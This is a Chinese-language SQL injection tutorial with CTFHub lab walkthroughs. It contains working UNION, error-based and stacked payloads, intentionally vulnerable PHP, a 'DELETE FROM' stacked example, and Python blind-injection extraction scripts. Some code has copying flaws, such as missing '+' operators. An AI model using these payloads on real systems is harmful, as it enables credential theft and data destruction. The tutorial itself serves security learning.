SQL注入基础教程

2023-10-21 11:23:19 浏览数 (1)

SQL注入入门保姆级教程。

SQL注入简介

在web应用开发过程中,为了实现内容的快速更新,很多开发者使用数据库对数据进行储存。而由于开发者在编写程序过程中,对用户传人数据过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库进行执行,从而达到攻击者预期的执行效果

SQL注入基础

  • 整数型注入
  • UNION联合查询注入
  • 字符型注入
  • 布尔盲注
  • 时间盲注
  • 报错注入
  • 堆叠注入
  • ……

整数型注入和联合注入

整数型注入和联合注入

简述

网页后端PHP的部分源代码:

代码语言:javascript复制
<?php
    // 连接本地MySQL,数据库名为database
    $conn = mysqli_connect("127.0.0.1", "root", "password", "database");
    // 查询stu_info表的name和grade字段,id为GET方式传入的值
    $res = mysqli_query($conn, "SELECT name , grade FROM stu_info WHERE id = ".$_GET['id']);
    // 将查询到的结果转化为数组
    $row = mysqli_fetch_arry($res);
    echo "<center>";
    // 输出name字段
    echo "<h1>".$row['name']."</h1>";
    echo "<br>";
    // 输出grade字段
    echo "<h1>".$row['grade']."</h1>";
    echo "</center>";
?>

与后端连接的数据库:

  • stu_info表(存储学生信息)
  • admin表(存储后台管理员数据)

前端网址:examle.com

正常用户传入数据

通过GET方式传入参数id=1

代码语言:javascript复制
https://examle.com/?id=1

收到请求的后端PHP代码会将GET方式传入的id=1与前面的SQL查询语句进行拼接,最后传给执行MySQL的查询语句如下:

代码语言:javascript复制
SELECT name , grade 
FROM stu_info
WHERE id = 1

会在前端回显下面的数据库中的数据:

SQL注入攻击

演示

下面是用户利用SQL注入攻击获取后台管理员权限的演示

访问https://examle.com/?id=1https://examle.com/?id=2-1,发现回显的数据都是:

通过这个数字运算行为判断这是个整数型注入,从后端代码的$_GET['id']没有被引号包裹也可以看出这是个整数型注入。这时我们可以直接输入SQL查询语句来干扰正常的查询:

代码语言:javascript复制
SELECT name , grade 
FROM stu_info
WHERE id = 1
UNION SELECT name, pwd 
From admin

这段语句是查询stu_info表中id=1的学生的namegrade数据,并且联合查询表admin中的所有数据来获取后台管理员的全部信息。但是前台并没有给我们想要的数据,因为后端的PHP代码决定了一次只能显示一行记录,所以我们需要将第二条查询结果放在第一行,此时有多种办法:

  1. 在原有语句后面加上limit 1,1参数(取查询结果第一条记录的后一条记录)。
  2. 指定id=-1或者一个很大的值,使第一条语句无法查询到数据。

所以我们输入下面的SQL语句干扰正常的查询:

可以回显的到admin表中的全部数据,从而获得了网页的后台管理权限。

在数据库中执行该语句可以查询到如下数据:

这种使用UNION语句的注入方法称为UNION联合查询注入

但是,上述的攻击方式有一个致命的缺陷,我们事先并不知道网页后台的数据库名字以及其中的表单名、列名,这种情况下如何使用SQL注入攻击呢?


同样的,先通过传入id=1id=2-1来判断这是一个整数型注入,然后直接输入SQL语句来查询本数据库所有的表单名字:

代码语言:javascript复制
SELECT name , grade 
FROM stu_info
WHERE id = -1
# table_name是information_schema库中表的名字
# group_concat()是用“,”联合多行记录的函数
UNION SELECT 1,group_concat(table_name) 
from information_schema.tables
# database()返回当前数据库的名称
where table_schema = database()

然后就能在前端回显所有的表单名了,该条语句在数据库执行会表示出下面的数据:

再次通过注入查询admin表单中所有的列名:

代码语言:javascript复制
SELECT name , grade 
FROM stu_info
WHERE id = -1
# column_name是information_schema表单中列的名字
# group_concat()是用“,”联合多行记录的函数
UNION SELECT 1,group_concat(column_name) 
from information_schema.columns
where table_name = 'admin'

就会在前端回显相应的字段名,这段查询语句在数据库执行后得到如下所有表单中的列名字段:

同上述步骤再次输入我们需要的SQL查询语句来干扰正常的查询:

代码语言:javascript复制
SELECT name , grade 
FROM stu_info
WHERE id = -1
UNION SELECT name, pwd 
From admin;

这样就能获取网页的管理员账号和密码,进入网页后门了。

总结

整数型注入的关键在于找出输入的参数点,然后通过数学运算判断输入参数附近是否有引号包裹,然后再通过SQL查询语句的拼接,来获取网页后台的敏感信息。

例题

题目来源:CTFHUB

我们输入数字1,得到回显。

根据题意,知道这是个整数型注入,所以我们可以直接爆破表名。

联合查询,查询本数据库所有表名:

代码语言:javascript复制
select * from news where id=1 
union select 1,group_concat(table_name) 
from information_schema.tables where table_schema=database();

发现没有只有这个数据回显。

后端代码决定了该页面只显示一个数据,我们需要用一些办法使我们需要的结果在第一行:

代码语言:javascript复制
select * from news where id=-1 
union select 1,group_concat(table_name) 
from information_schema.tables where table_schema=database();

找到了名为flag的表。

接下来查询表flag里的所有列名:

代码语言:javascript复制
select * from news where id=-1 
union select 1,group_concat(column_name) 
from information_schema.columns where table_name='flag';

发现只有一个flag的列。

最后查询这个flag表中flag列中的数据:

代码语言:javascript复制
select * from news where id=-1 
union select 1,group_concat(flag) from flag;

得到flag。

字符型注入

字符型注入

简述

简单修改一下网页后端的源代码:

代码语言:javascript复制
<?php
    // 连接本地MySQL,数据库名为database
    $conn = mysqli_connect("127.0.0.1", "root", "password", "database");
    // 查询stu_info表的name和grade字段,id为GET方式传入的值
    $res = mysqli_query($conn, "SELECT name , grade FROM stu_info WHERE id = '".$_GET['id']"'");
    // 将查询到的结果转化为数组
    $row = mysqli_fetch_arry($res);
    echo "<center>";
    // 输出name字段
    echo "<h1>".$row['name']."</h1>";
    echo "<br>";
    // 输出grade字段
    echo "<h1>".$row['grade']."</h1>";
    echo "</center>";
?>

可以看到在GET参数输入的地方包裹了双引号。

如何判断是字符型注入还是整数型注入呢?

MySql中,等号两边如果数据类型不同,会发生强制转换,例如,1a会被强制转化为1,a会被强制转化为0。按照这个特性,我们通过在前端传入特定的值,就能够很容易判断输入点为字符型。

代码语言:javascript复制
https://examle.com/?id=1' UNION SELECT name, pwd From admin #

1后面的'使后端源代码的第一个引号提前闭合,#将后端源代码的最后一个引号注释掉,然后在中间中插入我们需要的查询语句,在后端表示为:

代码语言:javascript复制
SELECT name , grade 
FROM stu_info
WHERE id = '1'
UNION SELECT name, pwd 
From admin #'

例题

题目来源CTFHUB

我们先输入1,得到回显,查看查询语言,发现1被引号包裹,所以这是个字符型注入。

提前使第一个引号闭合,然后用#将第二个引号注释,在中间插入我们需要的查询语句。

依旧是先爆破表名,将我们的注入的语句拼接后在后端执行的查询语句:

代码语言:javascript复制
select * from news 
where id='-1' 
union select 1,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()#'

在前端得到回显,发现名为flag的表单。

然后查询flag表中的所有列,将我们的注入语句拼接后在后端执行的查询语句如下:

代码语言:javascript复制
select * from news 
where id='-1'
union select 1,group_concat(column_name) 
from information_schema.columns 
where table_name='flag'#'

在前端得到回显,发现只有一个名为flag的列:

最后查询flag表单中flag列的数据,拼接后在后台执行的查询语句如下:

代码语言:javascript复制
select * from news 
where id='-1'
union select 1,group_concat(flag) 
from flag#'

在前端得到回显,得到flag。

布尔盲注和时间盲注

布尔盲注和时间盲注

布尔盲注简述

布尔盲注一般适用于页面没有回显字段,不支持联合查询,且web页面返回true 或者 false,构造SQL语句,利用andor等关键字来使其后的语句 truefalse,例如:

代码语言:javascript复制
Select name,grade from stu_info where id=1 and substr(database(),1,1) = 's'"

使web页面返回true或者false,来判断数据库名第一个字母是否为s,从而达到注入的目的来获取信息。

下面是需要用到的比较重要的函数:

  • ascii(char)函数,返回字符ascii码值
  • length(str)函数,返回字符串的长度
  • left(str,len)函数,返回从左至右截取固定长度的字符串
  • substr(str, pos, len) substring(str, pos, len) 函数 , 返回从pos位置开始到len长度的子字符串

注入流程:

  1. 求当前数据库长度
  2. 求当前数据库表的ASCII
  3. 求当前数据库中表的个数
  4. 求当前数据库中其中一个表名的长度
  5. 求当前数据库中其中一个表名的ASCII
  6. 求列名的数量
  7. 求列名的长度
  8. 求列名的ASCII
  9. 求字段的数量
  10. 求字段内容的长度
  11. 求字段内容对应的ASCII

布尔盲注脚本(按需修改):

代码语言:javascript复制
import requests
import sys

session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""

# 查询字段内容
for i in range(1, 50):
    print(i)
    for j in range(31, 128):
        j = (128   31) - j
        str_ascii = chr(j) #将数字转化为ASCII码
        payload = "1 and substr(database(),%d,1) = '%s'" % (i, str_ascii) #构造payload
        str_get = session.get(url=url   payload).text #将payload与url拼接,获取响应转化为文本
        #判断盲注是否正确
        if "query_success" in str_get:
            if str_ascii == " ":
                sys.exit()
            else:
                name  = str_ascii
                break
    print(name)

布尔盲注详解

时间盲注简述

时间盲注是指基于时间的盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。

使用场景:

  • 页面没有回显位置(联合查询注入无效)
  • 页面不显示数据库的报错信息(报错注入无效)
  • 无论成功还是失败,页面只响应一种结果(布尔盲注无效)

使用步骤:

if(条件表达式,ture,false)

and前后均为真 or其中一个为真

  1. 判断注入点
代码语言:javascript复制
1 and if(1,sleep(5),3)

尝试构造以上payload,延迟五秒以上则说明存在注入点。

  1. 判断长度
代码语言:javascript复制
1 and if((length(查询语句) =1), sleep(5), 3)

如果页面响应时间超过5秒,说明长度判断正确; 如果页面响应时间不超过5秒,说明长度判断错误,继续判断长度。

  1. 枚举字符
代码语言:javascript复制
1 and if((ascii(substr(查询语句,1,1)) = 'char'), sleep(5), 3)

如果页面响应时间超过5秒,说明字符内容判断正确,继续判断之后的字符; 如果页面响应时间不超过5秒,说明字符内容判断错误,递增猜解该字符的其他可能性。

时间盲注脚本(按需修改):

代码语言:javascript复制
import requests
import time
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/"
# 猜解长度使用的payload
payload_len = """?id=1 and if( (length(database()) ={n}) ,sleep(5),3)"""
# 枚举字符使用的payload
payload_str = """?id=1 and if( (ascii( substr( (database()) ,{n},1) ) ={r}) , sleep(5), 3)"""

# 获取长度
def getLength(url, payload):
	length = 1 # 初始测试长度为1
	while True:
		start_time = time.time()
		response = requests.get(url= url payload_len.format(n= length))
		# 页面响应时间 = 结束执行的时间 - 开始执行的时间
		use_time = time.time() - start_time
		# 响应时间>5秒时,表示猜解成功
		if use_time > 5:
			print('测试长度完成,长度为:', length,)
			return length;
		else:
			print('正在测试长度:',length)
			length  = 1 # 测试长度递增
            
# 获取字符
def getStr(url, payload, length):
	str = '' # 初始表名/库名为空
	# 第一层循环,截取每一个字符
	for l in range(1, length 1):
		# 第二层循环,枚举截取字符的每一种可能性
		for n in range(33, 126):
			start_time = time.time()
			response = requests.get(url= url payload_str.format(n= l, r= n))
			# 页面响应时间 = 结束执行的时间 - 开始执行的时间
			use_time = time.time() - start_time
			# 页面中出现此内容则表示成功
			if use_time > 5:
				str = chr(n)
				print('第', l, '个字符猜解成功:', str)
				break;
	return str;
            
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

例题

题目来源CTFHUB

解题思路:由于手动盲注工作量过大,这里我们选择用python脚本构造payload进行布尔盲注(还可以使用sqlmap注入)。

首先获取数据库名,构造payload

代码语言:javascript复制
import requests
import sys

session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""

# 查询字段内容
for i in range(1, 50):
    print(i)
    for j in range(31, 128):
        j = (128   31) - j
        str_ascii = chr(j) #将数字转化为ASCII码
        payload = "1 and substr(database(),%d,1) = '%s'" % (i, str_ascii) #构造payload
        str_get = session.get(url=url   payload).text #将payload与url拼接,获取响应转化为文本
        #判断盲注是否正确
        if "query_success" in str_get:
            if str_ascii == " ":
                sys.exit()
            else:
                name  = str_ascii
                break
    print(name)

运行结果得出数据库名为sqli

第二步获取表名,重新构造payloadlimit 0,1表示获取第一个表名。

代码语言:javascript复制
import requests
import sys

session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""

# 查询字段内容
for i in range(1, 50):
    print(i)
    for j in range(31, 128):
        j = (128   31) - j
        str_ascii = chr(j) #将数字转化为ASCII码
        payload = "1 and substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),%d,1) = '%s'" % (i, str_ascii) #构造payload
        str_get = session.get(url=url   payload).text #将payload与url拼接,获取响应转化为文本
        #判断盲注是否正确
        if "query_success" in str_get:
            if str_ascii == " ":
                sys.exit()
            else:
                name  = str_ascii
                break
    print(name)

运气很好,第一个表名就是我们需要的flag

重新构造payload,接下来获取flag表中的字段名。

代码语言:javascript复制
import requests
import sys

session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""

# 查询字段内容
for i in range(1, 50):
    print(i)
    for j in range(31, 128):
        j = (128   31) - j
        str_ascii = chr(j) #将数字转化为ASCII码
        payload = "1 and substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),%d,1) = '%s'" % (i, str_ascii) #构造payload
        str_get = session.get(url=url   payload).text #将payload与url拼接,获取响应转化为文本
        #判断盲注是否正确
        if "query_success" in str_get:
            if str_ascii == " ":
                sys.exit()
            else:
                name  = str_ascii
                break
    print(name)

发现flag表中有一个名为flag的字段。

最后重新构造payload,爆破得到flag。

代码语言:javascript复制
import requests
import sys

session = requests.session()
url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" #目标url,传参方式为GET
name = ""

# 查询字段内容
for i in range(1, 50):
    print(i)
    for j in range(31, 128):
        j = (128   31) - j
        str_ascii = chr(j) #将数字转化为ASCII码
        payload = "1 and substr((select flag from flag),%d,1) = '%s'" % (i, str_ascii) #构造payload
        str_get = session.get(url=url   payload).text #将payload与url拼接,获取响应转化为文本
        #判断盲注是否正确
        if "query_success" in str_get:
            if str_ascii == " ":
                sys.exit()
            else:
                name  = str_ascii
                break
    print(name)

报错注入和堆叠注入

报错注入和堆叠注入

报错注入简述

为了方便开发者进行调试,有的网站会开启错误调试信息,修改后端代码如下:

代码语言:javascript复制
<?php
    // 连接本地MySQL,数据库名为database
    $conn = mysqli_connect("127.0.0.1", "root", "password", "database");
    // 查询stu_info表的name和grade字段,id为GET方式传入的值
    $res = mysqli_query($conn, "SELECT name , grade FROM stu_info 
    					WHERE id = '".$_GET['id']"'") 
    					OR VAR_DUMP(mysqli_errot($conn));
    // 将查询到的结果转化为数组
    $row = mysqli_fetch_arry($res);
    echo "<center>";
    // 输出name字段
    echo "<h1>".$row['name']."</h1>";
    echo "<br>";
    // 输出grade字段
    echo "<h1>".$row['grade']."</h1>";
    echo "</center>";
?>

此时,只要触发SQL语句的错误,就可以在页面上看到错误信息,MySQL会将语句执行后的报错信息输出,这种注入方式称为报错注入

updatexml报错注入

updatexml函数
代码语言:javascript复制
updatexml(xml_document,xpath_string,new_value)
  • 第一个参数:XML_documentString格式,为XML文档对象的名称,文中为Doc1
  • 第二个参数: XPath_string (Xpath格式的字符串)。
  • 第三个参数: new_valueString格式,替换查找到的符合条件的数据。

该函数用于改变文档中符合条件的节点的值。

用法
代码语言:javascript复制
updatexml(1,concat(0x7e,database(),0x7e),1) 
# 获取数据库名字

updatexml(1,concat(0x7e,(select table_name 
                         from information_schema.tables 
                         where table_schema=database() limit 0,1),0x7e),1)
                         # 获取表的数量

updatexml(1,concat(0x7e,(select table_name 
                         from information_schema.tables 
                         where table_schema=database() limit 0,1),0x7e),1) 
                         # 获取表的名字
                         
updatexml(1,concat(0x7e,(select column_name 
                         from information_schema.columns 
                         where table_name = 'table_name' limit 0,1),0x7e),1) 
                         # 获取字段的名字

extractvalue报错注入

extractvalue函数
代码语言:javascript复制
extractvalue(xml_document,xpath_string)
  • 第一个参数:XML_documentString格式,为XMIL文档对象的名称。
  • 第二个参数:XPath_string (Xpath格式的字符串)。

该函数用于从目标XML中返回包含所查询值的字符串。

用法
代码语言:javascript复制
extractvalue(1,concat(0x7e,(database()),0x7e)) 
#获取数据库名字

extractvalue(1,concat(0x7e,(select count(table_name) 
                            from information_schema.tables 
                            where table_schema=database()),0x7e)) 
                            # 获取表的数量

extractvalue(1,concat(0x7e,(select table_name 
                            from information_schema.tables 
                            where table_schema=database() limit 0,1),0x7e)) 
                            # 获取表的名字

extractvalue(1,concat(0x7e,(select column_name 
                            from information_schema.columns 
                            where table_name='table_name' limit 0,1),0x7e)) 
                            # 获取字段的名字

floor报错注入

floor函数

floor报错注入是利用count()rand()floor()group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。rand()返回[0,1)之间的随机数,floor()对数字向下取整。

报错原理:利用数据库表主键不能重复的原理,使用group by分组,产生主键冗余,导致报错。

详解

用法
代码语言:javascript复制
union select count(*),1,concat((select database()),
                               floor(rand(0)*2)) as a from information_schema.tables group by a 
                               # 获取数据库名字

union select 0x7e,count(*),concat((select count(table_name) 
                                   from information_schema.tables 
                                   where table_schema=database()),
                                  floor(rand(0)*2)) as a from information_schema.tables group by a 
                                  # 获取表的数量

union select count(*),1,concat((select table_name 
                                from information_schema.tables 
                                where table_schema = database() limit 0,1),
                               floor(rand(0)*2)) as a from information_schema.tables group by a 
                               # 获取表的名字

union select 1,count(*),concat((select column_name 
                                from information_schema.columns 
                                where table_name = 'tabel_name' limit 0,1),
                               floor(rand(0)*2)) as a from information_schema.columns group by a 
                               # 获取字段的名字

堆叠注入简述

Stacked injections(堆叠注入),从字面意思就可以看出是多条SQL语句一起执行。

SQL中,分号;是用来表示一条SQL语句的结束。试想一下我们在 ; 结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而UNION联合注入也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入1; DELETE FROM products服务器端生成的SQL语句为Select name,grade from stu_info where id=1;DELETE FROM stu_info当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

代码语言:javascript复制
<?php
	$db=new PDO("mysql:host=localhost:3306;daname=database",'root','password');
	$sql="select name,grade from stu_info where id='"$_GET['id']"'";
	try{
        foreach($db->query($sql) as $row){
            print_r($row);
        }
    }
	catch(PDOException $e){
        echo $e->getMessage();
        die();
    }
?>

例题

题目来源CTFHUB

首先获取数据库名字。

代码语言:javascript复制
select * from news where id=1
or updatexml(1,concat(0x7e,database(),0x7e),1)

然后获取表的名字,发现第一个表就是我们要找的flag

代码语言:javascript复制
select * from news where id=1
or updatexml(1,concat(0x7e,(select table_name 
                         from information_schema.tables 
                         where table_schema=database() limit 0,1),0x7e),1)

查询flag表单中的列名。

代码语言:javascript复制
select * from news where id=1
or updatexml(1,concat(0x7e,(select column_name 
                         from information_schema.columns 
                         where table_name='flag' limit 0,1),0x7e),1)

最后获取flag

代码语言:javascript复制
select * from news where id=1
or updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)

有写的不对的地方欢迎评论区指正。

0 人点赞